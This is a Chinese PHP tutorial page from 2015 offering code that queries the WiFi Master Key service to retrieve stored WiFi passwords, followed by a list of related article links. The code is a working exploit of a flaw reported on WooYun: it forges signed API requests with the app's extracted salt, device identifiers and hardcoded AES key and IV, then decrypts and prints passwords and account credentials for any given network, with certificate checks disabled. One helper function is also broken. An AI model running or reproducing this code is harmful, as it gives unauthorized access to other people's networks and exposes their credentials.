WIFI万能钥匙密码查询接口实例


Posted in PHP onSeptember 28, 2015

不废话了,直接给大家贴代码了

<?php //some code from http://www.wooyun.org/bugs/wooyun-2015-099268
$bssid = "c8:3a:35:fa:b8:80" ;
$ssid = "Podinns2F03" ;
if (isset( $bssid ) && isset( $ssid )){
//update salt
   $ret = request( $bssid , $ssid , md5(rand(1, 10000)));
   $ret = json_decode( $ret );
   $ret = request( $bssid , $ssid , $ret ->retSn);
   $ret = json_decode( $ret );
   if ( $ret ->retCd == 0){
     if ( $ret ->qryapwd->retCd == 0){
       $list = $ret ->qryapwd->psws;
       foreach ( $list as $wifi ){
         echo 'SSID: ' . $wifi ->ssid. "\n" ;
         echo 'PWD: ' .decryptStrin( $wifi ->pwd). "\n" ;
         echo 'BSSID: ' . $wifi ->bssid. "\n" ;
         if ( $wifi ->xUser){
           echo 'xUser: ' . $wifi ->xUser. "\n" ;
           echo 'xPwd: ' . $wifi ->xPwd. "\n" ;
         }
       }
     }
     else {
       echo $ret ->qryapwd->retMsg;
     }
   }
}
function request( $bssid , $ssid , $salt , $dhid = 'ff8080814cc5798a014ccbbdfa375369' ){
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getDeepSecChkSwitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
   $curl = curl_init();
   curl_setopt( $curl , CURLOPT_URL, 'http://wifiapi02.51y5.net/wifiapi/fa.cmd' );
   curl_setopt( $curl , CURLOPT_USERAGENT, 'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))' );
   curl_setopt( $curl , CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate
   curl_setopt( $curl , CURLOPT_RETURNTRANSFER, true);
   curl_setopt( $curl , CURLOPT_POST, true); // enable posting
   curl_setopt( $curl , CURLOPT_POSTFIELDS, http_build_query( $data )); // post images
   curl_setopt( $curl , CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload
   $r = curl_exec( $curl );
   curl_close( $curl );
   return $r ;
}
function registerNewDevice(){
   $salt = '1Hf%5Yh&7Og$1Wh!6Vr&7Rs!3Nj#1Aa$' ;
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getDeepSecChkSwitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
}
function sign( $array , $salt ){
   // 签名算法
   $request_str = '' ;
   // 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort
   ksort( $array );
   foreach ( $array as $key => $value ) {
     $request_str .= $value ;
   }
   $sign = md5( $request_str . $salt );
   return strtoupper ( $sign );
}
function decryptStrin( $str , $keys = 'k%7Ve#8Ie!5Fb&8E' , $iv = 'y!0Oe#2Wj#6Pw!3V' , $cipher_alg =MCRYPT_RIJNDAEL_128){
   //Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密
   //[length][password][timestamp]
   $decrypted_string = mcrypt_decrypt( $cipher_alg , $keys , pack( "H*" , $str ),MCRYPT_MODE_CBC, $iv );
   return substr (trim( $decrypted_string ),3,-13);
} ?>

以上代码很简单吗,WIFI万能钥匙密码查询接口代码就全部写完了,希望大家喜欢。

PHP 相关文章推荐
smarty巧妙处理iframe中内容页的代码
Mar 07 PHP
解析php获取字符串的编码格式的方法(函数)
Jun 21 PHP
PHP判断是否有Get参数的方法
May 05 PHP
神盾加密解密教程(二)PHP 神盾解密
Jun 08 PHP
windows7下安装php的imagick和imagemagick扩展教程
Jul 04 PHP
php中current、next与reset函数用法实例
Nov 17 PHP
smarty模板引擎基础知识入门
Mar 30 PHP
php外部执行命令函数用法小结
Oct 11 PHP
利用PHP获取汉字首字母并且分组排序详解
Oct 22 PHP
php实现姓名根据首字母排序的类与方法(实例代码)
May 16 PHP
关于php开启错误提示的总结
Sep 24 PHP
PHP高并发和大流量解决方案整理
Mar 09 PHP
百万级别知乎用户数据抓取与分析之PHP开发
Sep 28 #PHP
培养自己的php编码规范
Sep 28 #PHP
ThinkPHP数据操作方法总结
Sep 28 #PHP
ThinkPHP表单数据智能写入create方法实例分析
Sep 27 #PHP
PHP+MySQL之Insert Into数据插入用法分析
Sep 27 #PHP
ThinkPHP中数据操作案例分析
Sep 27 #PHP
PHP中两个float(浮点数)比较实例分析
Sep 27 #PHP
You might like
转换中文日期的PHP程序
2006/10/09 PHP
PHP 判断常量,变量和函数是否存在
2009/04/26 PHP
ThinkPHP自动验证失败的解决方法
2011/06/09 PHP
php使用标签替换的方式生成静态页面
2015/05/21 PHP
PHP+Ajax实现的无刷新分页功能详解【附demo源码下载】
2017/07/03 PHP
PHP实现的函数重载功能示例
2018/08/03 PHP
PHP使用POP3读取邮箱接收邮件的示例代码
2020/07/08 PHP
jQuery 学习 几种常用方法
2009/06/11 Javascript
js实现按一下删除键删除整个单词附demo
2014/09/05 Javascript
js获取页面及个元素高度、宽度的代码
2016/04/26 Javascript
简介BootStrap model弹出框的使用
2016/04/27 Javascript
AngularJS通过$http和服务器通信详解
2016/09/21 Javascript
jQuery如何解决IE输入框不能输入的问题
2016/10/08 Javascript
Node.js 中exports 和 module.exports 的区别
2017/03/14 Javascript
jquery实现静态搜索功能(可输入搜索文字)
2017/03/28 jQuery
用vue的双向绑定简单实现一个todo-list的示例代码
2017/08/03 Javascript
jQuery实现网页拼图游戏
2020/04/22 jQuery
layer.confirm点击第一个按钮关闭弹出框的方法
2019/09/09 Javascript
[01:13:08]2018DOTA2亚洲邀请赛4.6 淘汰赛 mineski vs LGD 第二场
2018/04/10 DOTA
[01:00:59]VP VS VG Supermajor小组赛胜者组第二轮 BO3第二场 6.2
2018/06/03 DOTA
Python的多态性实例分析
2015/07/07 Python
解决pandas无法在pycharm中使用plot()方法显示图像的问题
2018/05/24 Python
对sklearn的使用之数据集的拆分与训练详解(python3.6)
2018/12/14 Python
实例详解Matlab 与 Python 的区别
2019/04/26 Python
python 多进程队列数据处理详解
2019/12/23 Python
Python接口测试get请求过程详解
2020/02/28 Python
Python unittest框架操作实例解析
2020/04/13 Python
python exit出错原因整理
2020/08/31 Python
HTML5+WebSocket实现多文件同时上传的实例
2016/12/29 HTML / CSS
财会自我鉴定范文
2013/12/27 职场文书
交通事故私了协议书
2014/04/16 职场文书
股票投资建议书
2014/05/19 职场文书
工伤私了协议书范本
2014/11/24 职场文书
颐和园英文导游词
2015/01/30 职场文书
薪资证明范本
2015/06/19 职场文书
外科护士长工作总结
2015/08/12 职场文书